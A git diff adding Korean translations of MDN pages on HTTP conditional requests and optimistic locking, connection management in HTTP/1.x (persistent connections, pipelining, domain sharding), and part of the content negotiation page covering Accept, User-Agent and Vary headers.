+<p>불행하게도, 계정의 동시실행 내로 들어가자마자 약간 예상치 못한 결과를 맞이하게 될 겁니다. 하나의 클라이언트가 리소스의 새로운 복사본을 지역적으로 수정하고 있는 동안에도, 두번째 클라이언트가 동일한 리소스를 내려받고 자신의 영역 내에서 동일한 작업을 할 수 있습니다. 그렇게 되면 매우 유감스러운 일이 발생하게 됩니다: 그들이 다시 커밋하게 됐을 때, 전송할 첫번째 클라이언트의 수정본은 다음의 전송에 의해 폐기되는데, 이는 두번째 클라이언트가 새로운 변경 사항을 알고 있지 못하기 때문입니다. 어떤 것이 받아들여질지에 대한 결정은 다른 쪽에게 알려지지 않겠지만, 어떤 클라이언트의 변경 사항이 유지될 지는 그들이 커밋하는 시점, 클라이언트 그리고 서버의 성능에 의해서도 달리지며, 클라이언트에서 문서를 수정하는 속도에 의해서도 달라지게 될 겁니다: 받아들여진 클라이언트의 변경 사항으로 모두 변경될 것입니다. 이것을 {{glossary("경쟁 상태")}}라고 하며 감지하고 디버깅하기 어려운 불확실한 동작을 유발합니다.</p>
+
+<p><img alt="When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!" src="https://mdn.mozillademos.org/files/13749/HTTPLock2.png" style="height: 504px; width: 904px;"></p>
+
+<p>두 클라이언트 중 하나를 불편하게 만들지 않고는 이를 해결할 수 있는 방법은 없습니다. 그러나 업데이트 손실과 경쟁 상태는 피하게 됩니다: 우리는 예측 가능한 결과와 클라이언트의 변경 사항이 거절된 경우 클라이언트가 그것을 알 수 있길 원합니다.</p>
+
+<p>조건부 요청은 (대부분의 위키 혹은 소스 제어 시스템에 의해 사용되는) <em>최적화 잠금 알고리즘</em>을 구현할 수 있도록 합니다. 이런 아이디어는 모든 클라이언트들이 리소스의 복사본들을 갖고 로컬에서 그것을 수정하며 첫번째 클라이언트가 그 수정된 내용을 성공적으로 제출하고 나서 이제는 이전 버전이 된 리소스가 거절되도록 하여 모든 업데이트가 순차적으로 이루어질 수 있도록 하여 동시성을 제어할 수 있도록 해줍니다.</p>
+
+<p><img alt="Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error." src="https://mdn.mozillademos.org/files/13751/HTTPLock3.png" style="height: 471px; width: 904px;"></p>
+
+<p>이것은 {{HTTPHeader("If-Match")}} 혹은 {{HTTPHeader("If-Unmodified-Since")}} 헤더를 사용해 구현하게 됩니다. etag가 원본 파일과 일치하지 않거나 혹은 파일을 수신한 이후에 파일이 수정된 경우, 해당 변경 사항은 단순히 {{HTTPStatus("412")}} <code>Precondition Failed</code> 오류와 함께 거절될 것입니다. 그런 뒤에 오류를 다루는 것은 클라이언트에게 달려있므며, 현재 가장 최신의 버전으로부터 다시 시작하도록 사람에게 알려주는 방법 혹은 "diff"를 보여주고 변경된 내용을 유지하도록 선택할 수 있게 사람에게 도움을 주는 방법 등을 이용하도록 할 수 있습니다. </p>
+
+<h3 id="리소스의_첫번째_업로드_다루기">리소스의 첫번째 업로드 다루기</h3>
+
+<p>리소스의 첫번째 업로드는 이전 예제의 엣지 케이스입니다: 리소스 업데이트의 어떤 경우든지, 두 클라이언트가 업데이트를 동시에(혹은 거의 같은 시점에) 실행하려고 하는 경우는 경쟁 상태의 대상입니다. 이를 방지하기 위해, 조건부 요청을 사용할 수 있습니다: 어떤 etag든지 나타내는 <code>'*'</code>라고 하는 특별한 값을 {{HTTPHeader("If-None-Match")}}에 추가하여, 리소스가 이전에 존재하지 않은 경우에만 요청이 성공하게 할 수 있습니다.</p>
+
+<p><img alt="Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it." src="https://mdn.mozillademos.org/files/13753/HTTPFirst.png" style="height: 311px; width: 895px;"></p>
+
+<p><code>If-None-Match</code> 는 HTTP/1.1 호환 (혹은 그 이상의) 서버에서만 동작할 겁니다. 서버가 호환되는지 아닌지를 모르는 경우라면, 이를 확인하기 위해 리소스에 {{HTTPMethod("HEAD")}} 요청을 해보는 것이 우선적으로 필요합니다.</p>
+
+<h2 id="결론">결론</h2>
+
+<p>조건부 요청은 HTTP의 주요 특징이며 효율적이고 복잡한 애플리케이션을 만드는데 도움을 줍니다. 캐싱 혹은 다운로드 이어하기를 위해, 웹 마스터에게 요청해야 할 유일한 일은 서버를 정확하게 구성하도록 하는 것(어떤 환경 내에서 정확한 etag를 설정하는 것은 애매모호할 수 있습니다)이며, 웹 개발자는 브라우저가 올바른 조건부 요청을 서버하게 되므로 해야할 것이 아무것도 없습니다.</p>
+
+<p>잠금 메커니즘에 대해서는, 반대로, 웹 개발자가 알맞은 헤더로 요청을 전송하도록 하는 일이 필요하며, 웹 마스터는 대부분의 경우 그것들을 검사하도록 하는 신뢰할 수 있는 애플리케이션을 만들어야 합니다.</p>
+
+<p>두 경우 모두에 있어, 조건부 요청은 웹의 필수적인 기능입니다.</p>
diff --git a/files/ko/web/http/connection_management_in_http_1.x/index.html b/files/ko/web/http/connection_management_in_http_1.x/index.html
new file mode 100644
index 0000000000..79f82d4e76
--- /dev/null
+++ b/files/ko/web/http/connection_management_in_http_1.x/index.html
@@ -0,0 +1,86 @@
+---
+title: HTTP/1.x의 커넥션 관리
+slug: Web/HTTP/Connection_management_in_HTTP_1.x
+translation_of: Web/HTTP/Connection_management_in_HTTP_1.x
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">커넥션 관리는 HTTP의 주요 주제입니다: 대규모로 커넥션을 열고 유지하는 것은 웹 사이트 혹은 웹 애플리케이션의 성능에 많은 영향을 줍니다. HTTP/1.x에는 몇 가지 모델이 존재합니다: 단기 커넥션, 영속적인 커넥션, 그리고 <em>HTTP 파이프라이닝. </em></p>
+
+<p>HTTP는 클라이언트와 서버 사이의 커넥션을 제공하는 TCP를 전송프로토콜로 주로 이용합니다. 초기에는, HTTP는 이런 커넥션들을 다루기 위해 단일 모델을 제공했습니다. 요청이 보내져야 할 때마다 커넥션들은 매번 새롭게 생성되었고 응답이 도착한 이후에 연결을 닫는 형태로 단기로만 유지되었습니다.</p>
+
+<p>각각의 TCP 연결을 여는 것은 자원을 소비하기 때문에 이러한 단순한 모델은 선천적으로 성능상의 제약을 발생시킵니다. 몇몇 메시지들은 클라이언트와 서버 사이에서 교환되어야만 하며, 네트워크의 지연과 대역폭은 요청이 전송되어야 할 때마다 성능에 영향을 줍니다. 현대의 웹 페이지들은 필요로 하는 정보를 제공하기 위해 많은 요청(12개 혹은 그 이상)을 필요로 하므로, 이런 초창기 모델이 비효율적인 것은 자명합니다.</p>
+
+<p>HTTP/1.1에서 두 가지 모델이 추가되었습니다. 영속적인 커넥션 모델은 연속적인 요청 사이에 커넥션을 유지하여 새 커넥션을 여는데 필요한 시간을 줄입니다. HTTP 파이프라이닝은 한 단계 더 나아가, 응답조차도 기다리지 않고 연속적인 요청을 보내서 네트워크 지연을 더욱 줄입니다.</p>
+
+<p><img alt="Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining." src="https://mdn.mozillademos.org/files/13727/HTTP1_x_Connections.png" style="height: 538px; width: 813px;"></p>
+
+<div class="note">
+<p>HTTP/2는 커넥션 관리의 몇가지 모델을 더 추가합니다.</p>
+</div>
+
+<p>명심해야 할 중요한 점은 HTTP 내 커넥션 관리가 <a href="/en-US/docs/Web/HTTP/Headers#e2e">end-to-end</a>가 아닌 <a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a>인 두 개의 연속된 노드 사이의 커넥션에 적용된다는 것입니다. 클라이언트와 첫 번째 프록시 사이의 커넥션 모델은 프록시와 최종 목적 서버(혹은 중간 프록시들) 간의 것과는 다를 수도 있습니다. {{HTTPHeader("Connection")}}와 {{HTTPHeader("Keep-Alive")}}와 같이 커넥션 모델을 정의하는 데 관여하는 HTTP 헤더들은 <a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a> 헤더이며, 중간 노드에 의해 그 값들이 변경될 수 있습니다.</p>
+
+<p>HTTP/1.1 커넥션이 TLS/1.0이나 WebSocket, 혹은 평문 HTTP/2와 같은 다른 프로토콜로 업그레이드 되었다는 점에서 관련된 주제는 HTTP 커넥션 업그레이드의 개념입니다. 이 프로토콜 업그레이드 메커니즘은 다른 곳에서 더 자세히 설명되어 있습니다. </p>
+
+<h2 id="단기_커넥션">단기 커넥션</h2>
+
+<p>HTTP 본래의 모델이자 HTTP/1.0의 기본 커넥션은 <em>단기 커넥션</em>입니다. 각각의 HTTP 요청은 각각의 커넥션 상에서 실행됩니다. 이는 TCP 핸드 셰이크는 각 HTTP 요청 전에 발생하고, 이들이 직렬화됨을 의미합니다.</p>
+
+<p>TCP 핸드셰이크는 그 자체로 시간을 소모하기는 하지만 TCP 커넥션은 지속적으로 연결되었을 때 부하에 맞춰 더욱 예열되어 더욱 효율적으로 작동합니다. 단기 커넥션들은 TCP의 이러한 효율적인 특성을 사용하지 않게 하며 예열되지 않은 새로운 연결을 통해 지속적으로 전송함으로써 성능이 최적 상태보다 저하됩니다.</p>
+
+<p>이 모델은 HTTP/1.0에서 사용된 기본 모델입니다({{HTTPHeader("Connection")}} 헤더가 존재하지 않거나, 그것의 값이 <code>close</code>로 설정된 경우). HTTP/1.1에서는, 이 모델은 {{HTTPHeader("Connection")}} 헤더가 <code>close</code> 값으로 설정되어 전송된 경우에만 사용됩니다.</p>
+
+<div class="note">
+<p>영속적인 커넥션을 지원하지 않는 매우 낡은 시스템을 다루는 것이 아니라면, 이 모델을 사용하려고 애쓸 필요가 없습니다.</p>
+</div>
+
+<h2 id="영속적인_커넥션">영속적인 커넥션</h2>
+
+<p>단기 커넥션은 두 가지 결점을 지니고 있습니다: 새로운 연결을 맺는데 드는 시간이 상당하다는 것과, TCP기반 커넥션의 성능은 오직 커넥션이 예열된 상태일 때만 나아진다는 것입니다. 이런 문제를 완화시키기 위해, HTTP/1.1보다도 앞서 영<em>속적인 커넥션</em>의 컨셉이 만들어졌습니다. 이는 <em>keep-alive 커넥션</em>이라고 불리기도 합니다.</p>
+
+<p>영속적인 커넥션은 얼마간 연결을 열어놓고 여러 요청에 재사용함으로써, 새로운 TCP 핸드셰이크를 하는 비용을 아끼고, TCP의 성능 향상 기능을 활용할 수 있습니다. 커넥션은 영원히 열려있는지 않으며, 유휴 커넥션들은 얼마 후에 닫힙니다(서버는 {{HTTPHeader("Keep-Alive")}} 헤더를 사용해서 연결이 최소한 얼마나 열려있어야 할지를 설정할 수 있습니다).</p>
+
+<p>물론 영속적인 커넥션도 단점을 가지고 있습니다. 유휴 상태일때에도 서버 리소스를 소비하며, 과부하 상태에서는 {{glossary("DoS attack", "DoS attacks")}}을 당할 수 있습니다. 이런 경우에는 커넥션이 유휴 상태가 되자마자 닫히는 비영속적 커넥션(non-persistent connections)을 사용하는 것이 더 나은 성능을 보일 수 있습니다.</p>
+
+<p>HTTP/1.0 커넥션은 기본적으로 영속적이지 않습니다. {{HTTPHeader("Connection")}}를 <code>close</code>가 아닌 다른 것으로, 일반적으로 <code>retry-after</code>로 설정하면 영속적으로 동작하게 될 겁니다.</p>
+
+<p>반면, HTTP/1.1에서는 기본적으로 영속적이며 헤더도 필요하지 않습니다(그러나 HTTP/1.0으로 동작하는 경우(fallback)에 대비해서 종종 추가하기도 합니다.).</p>
+
+<h2 id="HTTP_파이프라이닝">HTTP 파이프라이닝</h2>
+
+<div class="note">
+<p>HTTP 파이프라이닝은 모던 브라우저에서 기본적으로 활성화되어있지 않습니다:</p>
+
+<ul>
+ <li>버그가 있는 <a href="https://en.wikipedia.org/wiki/Proxy_server">프록시</a>들이 여전히 많은데, 이들은 웹 개발자들이 쉽게 예상하거나 분석하기 힘든 이상하고 오류가 있는 동작을 야기합니다.</li>
+ <li>파이프라이닝은 정확히 구현해내기 복잡합니다: 전송 중인 리소스의 크기, 사용될 효과적인 <a href="https://en.wikipedia.org/wiki/Round-trip_delay_time">RTT</a>, 그리고 효과적인 대역폭은 파이프라인이 제공하는 성능 향상에 직접적으로 영향을 미칩니다. 이런 내용을 모른다면, 중요한 메시지가 덜 중요한 메시지에 밀려 지연될 수 있습니다. 중요성에 대한 생각은 페이지 레이아웃 중에도 진전됩니다. 그러므로 파이프라이닝은 대부분의 경우 미미한 수준의 향상만을 가져다 줍니다.</li>
+ <li>파이프라이닝은 <a href="https://en.wikipedia.org/wiki/Head-of-line_blocking">HOL</a> 문제에 영향을 받습니다.</li>
+</ul>
+
+<p>이런 이유들로, 파이프라이닝은 더 나은 알고리즘인 멀티플렉싱으로 대체되었는데, 이는 HTTP/2에서 사용됩니다.</p>
+</div>
+
+<p>기본적으로, <a href="/en/HTTP" title="en/HTTP">HTTP</a> 요청은 순차적입니다. 현재의 요청에 대한 응답을 받고 나서야 다음 요청을 실시합니다. 네트워크 지연과 대역폭 제한에 걸려 다음 요청을 보내는 데까지 상당한 딜레이가 발생할 수 있습니다.</p>
+
+<p>파이프라이닝이란 같은 영속적인 커넥션을 통해서, 응답을 기다리지 않고 요청을 연속적으로 보내는 기능입니다. 이것은 커넥션의 지연를 회피하고자 하는 방법입니다. 이론적으로는, 두 개의 HTTP 요청을 하나의 TCP 메시지 안에 채워서(be packed) 성능을 더 향상시킬 수 있습니다. HTTP 요청의 사이즈는 지속적으로 커져왔지만, 일반적인 <a href="https://en.wikipedia.org/wiki/Maximum_segment_size">MSS</a>(최대 세그먼트 크기)는 몇 개의 간단한 요청을 포함하기에는 충분히 여유있습니다.</p>
+
+<p>모든 종류의 HTTP 요청이 파이프라인으로 처리될 수 있는 것은 아닙니다: {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} 그리고 {{HTTPMethod("DELETE")}} 메서드같은 {{glossary("idempotent")}} 메서드만 가능합니다. 실패가 발생한 경우에는 단순히 파이프라인 컨텐츠를 다시 반복하면 됩니다.</p>
+
+<p>오늘날, 모든 HTTP/1.1 호환 프록시와 서버들은 파이프라이닝을 지원해야 하지만, 실제로는 많은 프록시와 서버들은 제한을 가지고 있습니다. 모던 브라우저가 이 기능을 기본적으로 활성화하지 않는 이유입니다.</p>
+
+<h2 id="도메인_샤딩">도메인 샤딩</h2>
+
+<div class="note">
+<p>매우 명확하고 당면해있는 요구사항이 아니라면, 이 제외된(deprecated) 기술을 사용하지 마십시오. 대신 HTTP/2로 전환하시기 바랍니다. HTTP/2에서 도메인 샤딩은 더 이상 유용하지 않습니다. HTTP/2 커넥션은 우선 순위가 없는 병렬 요청들을  매우 잘 다룹니다. 도메인 샤딩은 성능 측면에서도 좋지 못합니다. 대부분의 HTTP/2 구현체는 우발적으로 일어나는 도메인 샤딩을 되돌리기 위해 <a href="https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing/">커넥션 합치기(connection coalescing)</a>라고 불리는 기술을 사용합니다.</p>
+</div>
+
+<p>요청 사이에 실제 정렬이 없음에도 HTTP/1.x 커넥션이 요청을 직렬화함으로써, 대여폭이 충분히 큰 경우가 아니고는 효율적이지 못합니다. 이런 단점을 피하기 위해, 브라우저들은 각 도메인에 대한 몇 개의 커넥션을 맺고 병렬로 요청을 보냅니다. 기본값은 한때 2개 혹은 3개였지만, 지금은 이것이 증가하여 일반적으로 병력 커넥션은 6개입니다. 만약 이것보다 많이 시도한다면 서버 측의 <a href="/en-US/docs/Glossary/DOS_attack">DoS</a> 보호 동작을 야기할 위험이 있습니다.</p>
+
+<p>서버가 더 빠른 웹 사이트나 애플리케이션 반응을 원한다면, 서버가 더 많은 커넥션을 열도록 강제할 수 있습니다. 예를 들어, <code>www.example.com</code> 라는 하나의 도메인에서 모든 리소스를 가져오는 대신, <code>www1.example.com</code>, <code>www2.example.com</code>, <code>www3.example.com</code>와 같이 몇 개의 도메인으로 분할할 수 있습니다. 이런 각각의 도메인들은 <em>동일한</em> 서버로 연결되고, 브라우저는 그런 각각의 도메인마다 6개의 커넥션을 맺을 것입니다(예제에서는 총 18개로 늘어납니다). 이러한 기법을 <em>도메인 샤딩</em>이라고 부릅니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13783/HTTPSharding.png" style="height: 727px; width: 463px;"></p>
+
+<h2 id="결론">결론</h2>
+
+<p>개선된 커넥션 관리는 HTTP 성능을 상당한 수준만큼 향상시킬 수 있습니다. 영속적인 커넥션을 사용하는 HTTP/1.1 혹은 HTTP/1.0는 - 적어도 그 커넥션이 유휴 상태가 될 때까지 - 최상의 성능을 이끌어냅니다. 그러나, 파이프라이닝의 실패로 더 나은 커넥션 관리 모델이 고안되었고, 이는 HTTP/2에 포함되었습니다.</p>
diff --git a/files/ko/web/http/content_negotiation/index.html b/files/ko/web/http/content_negotiation/index.html
new file mode 100644
index 0000000000..81b138ebc2
--- /dev/null
+++ b/files/ko/web/http/content_negotiation/index.html
@@ -0,0 +1,129 @@
+---
+title: Content negotiation
+slug: Web/HTTP/Content_negotiation
+translation_of: Web/HTTP/Content_negotiation
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><a href="/en-US/docs/Glossary/HTTP">HTTP</a>에서, <em>컨텐츠 협상</em>이란 동일한 URI에서 리소스의 서로 다른 버전을 서브하기 위해 사용되는 메커니즘으로, 사용자 에이전트가 사용자에게 제일 잘 맞는 것이 무엇인지(예를 들어, 문서의 언어, 이미지 포맷 혹은 컨텐츠 인코딩에 있어 어떤 것이 적절한지)를 명시할 수 있습니다.</p>
+
+<h2 id="컨텐츠_협상의_원칙">컨텐츠 협상의 원칙</h2>
+
+<p>우리는 특정 문서를 <em>리소스</em>라고 부릅니다. 클라이언트가 리소스를 내려받길 원할 경우, 그것의 URL을 사용하여 요청합니다. 서버는 리소스가 제공하는 여러 변형들 중 하나를 선택하기 위해 이런 URL을 사용하며 (각각의 변형을 <em>프레젠테이션</em>이라고 부릅니다) 클라이언트에게 해당 리소스의 특정 프레젠테이션을 반환합니다. 프레젠테이션들에 더해, 전체 리소스들은 특유의 URL을 가집니다. 리소스가 호출됐을 때 특정 프레젠테이션을 선택하는 방법은 <em>컨텐츠 협상</em>에 의해 결정되며 클라이언트와 서버 간의 협상에는 몇 가지 방식이 존재합니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13789/HTTPNego.png" style="height: 311px; width: 767px;"></p>
+
+<p>가장 잘 맞는 프레젠테이션의 결정은 다음 두 개의 메커니즘 중 하나를 통해 이루어집니다:</p>
+
+<ul>
+ <li>클라이언트가 보내는 특정 <a href="/en-US/docs/Web/HTTP/Headers">HTTP 헤더</a>를 이용하는 방법(서버 주도 협상 혹은 주도적인 협상)으로, 특정 종류의 리소스에 대한 표준 협상 방법입니다.</li>
+ <li>서버에 의해 전달되는 {{HTTPStatus("300")}} (다중 선택) 혹은 {{HTTPStatus("406")}} (허용되지 않음) <a href="/en-US/docs/Web/HTTP/Status">HTTP 응답 코드</a>를 이용하는 방법(<em>에이전트 주도 협상</em> 혹은 <em>리액티브 협상</em>)으로, 폴백 메커니즘으로써 사용됩니다.</li>
+</ul>
+
+<p>수년 간, <em>투명한 컨텐츠 협상</em>과 <code>Alternates</code> 헤더와 같은 다른 컨텐츠 협상 제안들이 제안되어 왔습니다. 그런 제안들은 관심을 끄는데 실패했고 결국 버려졌습니다.</p>
+
+<h2 id="서버_주도_컨텐츠_협상">서버 주도 컨텐츠 협상</h2>
+
+<p>서버 주도 컨텐츠 협상 혹은 주도적인 협상에 있어서, 브라우저(혹은 사용자 에이전트라면 어떤 다른 종류든지)는 URL을 이용해 몇 개의 HTTP 헤더를 전송합니다. 이런 헤더들은 사용자의 우선적인 선택을 나타냅니다. 서버는 그것들을 힌트로써 사용하며 내부 알고리즘은 클라이언트로 서브하기 위한 최선의 컨텐츠를 선택하게 됩니다. 이 알고리즘은 서버 특유의 것이며 표준으로 정의된 것은 아닙니다. 예를 위해, <a class="external" href="http://httpd.apache.org/docs/2.2/en/content-negotiation.html#algorithm">Apache 2.2 협상 알고리즘</a>을 참고하시기 바랍니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13791/HTTPNegoServer.png" style="height: 380px; width: 767px;"></p>
+
+<p>HTTP/1.1 표준은 서버 주도 협상을 시작하는 표준 헤더 목록({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}})을 정의하고 있습니다. 엄밀히 말하자면 {{HTTPHeader("User-Agent")}}이 리스트 내에 없긴 하지만, 해당 헤더는, 좋은 관례가 아니라고 판단될지라도, 때때로 요청된 리소스의 특정 프레젠테이션을 전송하는데 사용되기도 합니다. 서버는 실제로 컨텐츠 협상에 있어 어떤 헤더가 사용될 지 (더 엄밀히 말하자면 연관된 응답 헤더) 가리키기 위해 {{HTTPHeader("Vary")}} 헤더를 사용하므로 <a href="/en-US/docs/Web/HTTP/Caching">캐시</a>는 최적으로 동작하게 됩니다.</p>
+
+<p>이것과 더불어, <em>클라이언트 힌트</em>라고 부르는 헤더들을 이용 가능한 헤더 목록에 추가하려는 실험적인 제안도 존재합니다. 클라이언트 힌트는 사용자 에이전트가 실행 중인 기기의 종류가 무엇인지를 알려줍니다(예를 들어, 데스크톱 컴퓨터인지 모바일 기기인지)</p>
+
+<p>서버 주도 컨텐츠 협상이 리소스의 특정 프레젠테이션에 동의하기 위한 가장 일반적인 방법이긴 하지만, 몇 가지 결점을 가지고 있습니다:</p>
+
+<ul>
+ <li>서버는 브라우저에 대한 전체적인 지식을 가지고 있지 않습니다. 클라이언트 힌트 확장이 있더라도, 서버는 브라우저의 수용 능력에 대한 완벽한 정보를 가지고 있진 않습니다. 클라이언트가 선택하는 리액티브 컨텐츠 협상과는 다르게, 서버 선택은 항상 다소 임의적입니다.</li>
+ <li>클라이언트에 의한 정보는 상당히 장황하며(HTTP/2 헤더 압축은 이런 문제를 완화시킵니다) 사생활 침해에 대한 위협을 가지고 있습니다(HTTP 핑거프린팅).</li>
+ <li>주어진 리소스의 몇몇 프레젠테이션이 전송되므로, 샤드된 캐시들은 덜 효율적이며 서버 구현은 좀 더 복잡해집니다.</li>
+</ul>
+
+<h3 id="Accept_헤더"><code>Accept</code> 헤더</h3>
+
+<p>{{HTTPHeader("Accept")}} 헤더는 에이전트가 처리하고자 하는 미디어 리소스의 MIME 타입을 나열합니다. 그것은 MIME 타입을 쉼표로 구분한 목록이며, 각각 품질 인자와 함께 나열되어 있으며, 다른 MIME 타입 사이의 상대적인 선호도를 나타내는 파라메터이기도 합니다.</p>
+
+<p>{{HTTPHeader("Accept")}} 헤더는 브라우저나 다른 에이전트에 의해 정의되며 HTML 페이지 혹은 이미지나 비디오 또는 스크립트들을 가져오는 것처럼, 컨텍스트에 따라 다양해질 수 있습니다: 주소창에 입력된 문서를 내려 받을 때와 {{ HTMLElement("img") }}, {{ HTMLElement("video") }} 혹은 {{ HTMLElement("audio") }} 엘리먼트를 통해 링크된 요소를 내려받을 때가 다릅니다. 브라우저는 그들이 판단하기에 가장 적절한 헤더의 값을 마음껏 사용할 것입니다; <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values">일반적인 브라우저를 위한 기본적인 값</a>의 전체 목록을 참고하기 바랍니다.</p>
+
+<h3 id="Accept-CH_헤더_experimental_inline"><code>Accept-CH</code> 헤더 {{experimental_inline}}</h3>
+
+<div class="note">
+<p>이것은 <em>클라이언트 힌트</em>라고 불리는 <strong>실험적인</strong> 기술의 일부로 현재 크롬 46과 그 이후 버전에서만 구현되어 있습니다.</p>
+</div>
+
+<p>실험적인 {{HTTPHeader("Accept-CH")}}는 적합한 응답을 선택하기 위해 서버가 사용할 수 있는 설정 데이터를 나열합니다. 유효한 값들은 다음과 같습니다:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">값</th>
+   <th scope="col">의미</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>DPR</code></td>
+   <td>클라이언트 기기의 픽셀 비율(ratio)을 가르킵니다.</td>
+  </tr>
+  <tr>
+   <td><code>Viewport-Width</code></td>
+   <td>CSS 픽셀에서의 레이아웃 뷰포트를 가리킵니다. </td>
+  </tr>
+  <tr>
+   <td><code>Width</code></td>
+   <td>물리적인 픽셀에서의 리소스 너비를 가리킵니다(다시 말해 이미지의 고유 사이즈).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Accept-Charset_헤더"><code>Accept-Charset</code> 헤더</h3>
+
+<p>{{HTTPHeader("Accept-Charset")}} 헤더는 사용자 에이너트가 어떤 종류의 캐릭터 인코딩을 이해할 수 있는지를 서버에게 알려줍니다. 전통적으로, 그것은 브라우저에 대해 각 지역을 위해 서로 다른 값을 설정하는데 사용되어 왔습니다. 예로 들자면, 서부 유럽 지역을 위해서는 <code>ISO-8859-1,utf-8;q=0.7,*;q=0.7</code>처럼 설정했었습니다.</p>
+
+<p>UTF-8이 현재는 잘 지원되고 있고 인코딩 캐릭터로써 선호하는 방식이 되고 있는 상황에서, <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">더 적은 설정 기반의 엔트로피(불확실성)를 통해 좀 더 나은 개인정보 보호를 보장하기 위해</a>, 대부분의 브라우저들은 <code>Accept-Charset</code> 헤더를 생략하고 있습니다: Internet Explorer 8, Safari 5, Opera 11 그리고 Firefox 10은 이 헤더를 폐기했습니다.</p>
+
+<h3 id="Accept-Encoding_헤더"><code>Accept-Encoding</code> 헤더</h3>
+
+<p>{{HTTPHeader("Accept-Encoding")}} 헤더는 수용 가능한 (압축을 지원하는) 컨텐츠 인코딩을 정의하고 있습니다. 값은 인코딩 값의 우선 순위를 가리키는 q 인자 목록(예를 들어, : <code>br, gzip;q=0.8</code>)입니다. 기본값 <code>identity</code>는 가장 낮은 우선 순위입니다(선언된 것이 없는 경우).</p>
+
+<p>HTTP 메시지 압축은 웹 사이트의 성능을 높이는 가장 중요한 방법이며, 전송 데이터의 크기를 줄여주며 가용할 수 있는 대역폭을 더 좋은 상태로 만들어줍니다; 브라우저는 항상 이 헤더를 전송하며 서버는 그것을 받아들이고 압축을 사용하도록 구성되어 있어야 합니다.</p>
+
+<h3 id="Accept-Language_헤더"><code>Accept-Language</code> 헤더</h3>
+
+<p>{{HTTPHeader("Accept-Language")}} 헤더는 사용자가 선호하는 언어를 가리키는데 사용됩니다. 그것은 품질 인자를 가진 값 목록입니다(<code>"de, en;q=0.7</code>"). 기본 값은 사용자 에이전트의 그래픽 인터페이스 언어와 관련하여 설정되지만, 대부분의 브라우저들은 다른 언어 설정을 허용합니다.</p>
+
+<p><a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">구성 기반의 엔트로피</a>의 증가로, 사용자 판별에 수정된 값을 사용할 수 없고, 그것을 수정하는 것은 권장되지 않으며 웹 사이트는 사용자의 실제 요구를 반영하기 위해 이 값을 신뢰할 수 없습니다. 이 헤더를 통해 감지된 언어가 좋지 않은 사용자 경험을 유발할 수도 있으므로 사이트 설계자는 해당 헤더 값을 맹신해서는 안 됩니다:</p>
+
+<ul>
+ <li>사이트 설계자들은 서버에서 선택한 언어가 아닌 다른 언어를 선택할 수 있는 방법을 제공해야 합니다. 예를 들자면 사이트 상에 언어 메뉴를 제공하는 것이죠. 대부분의 사용자 에이전트들은 사용자 인터페이스 언어에서 차용된 값을 <code>Accept-Language</code> 헤더의 기본값으로 제공하는데, 최종 사용자는, 예를 들어서 인터넷 카페 같은데서, 대게 어떻게 하는지 몰라서, 혹은 그것이 가능한지 몰라서, 그것을 수정하지 않습니다.</li>
+ <li>사용자가 서버가 선택한 언어를 재정의하고 나면, 사이트는 더 이상 언어 감지를 사용해서는 안되며 명시적으로 선택된 언어를 인정해야 합니다. 다시 말하자면, 사이트의 엔트리 페이지에서만 이 헤더를 사용하여 적당한 언어를 선택해야 합니다.</li>
+</ul>
+
+<h3 id="User-Agent_헤더"><code>User-Agent</code> 헤더</h3>
+
+<div class="note">
+<p>컨텐츠를 선택함에 있어 이 헤더를 정당하게 사용한다고 할지라도, 사용자 에이전트가 지원하는 것이 무엇인지를 정의하려고 이 헤더에 의지하는 것은 <a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">나쁜 습관으로 간주됩니다</a>.</p>
+</div>
+
+<p>{{HTTPHeader("User-Agent")}} 헤더는 요청을 전송하는 브라우저를 식별하게 해줍니다. 이 문자열은 공백 문자로 구분된 <em>제품 토큰(product tokens)</em>과 <em>코멘트</em> 목록을 포함합니다.</p>
+
+<p><em>제품 토큰(product token)</em>은 <code>Firefox/4.0.1</code>처럼 브라우저 이름 뒤에 '<code>/</code>'와 버전 번호가 오는 이름입니다. 사용자가 에이전트가 원하는 만큼 많은 수의 이름이 올 수 있습니다. <em>코멘트</em>는 둥근 괄호를 경계로 하는 자유 문자열입니다. 분명한 것은 괄호가 문자열 안에서는 사용될 수 없다는 것입니다. 코멘트의 내부 형식은 표준으로 정해진 것은 없으나 몇몇 브라우저들은 '<code>;</code>'로 구분하여 그 안에 몇 개의 토큰을 넣습니다.</p>
+
+<h3 id="Vary_응답_헤더"><code>Vary</code> 응답 헤더</h3>
+
+<p>이전에 봤던 클라이언트에 의해 전송되는 <code>Accept-*</code> 헤더들과는 달리, {{HTTPHeader("Vary")}} HTTP 헤더는 웹 서버에 의한 응답 내로 전달됩니다. 이 헤더는 서버 주도 컨텐츠 협상의 과정 중에 서버에 의해 사용되는 헤더들의 목록을 나타냅니다. 이 헤더는 결정 기준 캐시를 알리기 위해 필요하므로 사용자에게 잘못된 컨텐츠를 제공하는 일을 방지하는 동안 캐시가 가동되게 허용하도록 캐시를 복제할 수 있습니다.</p>
+
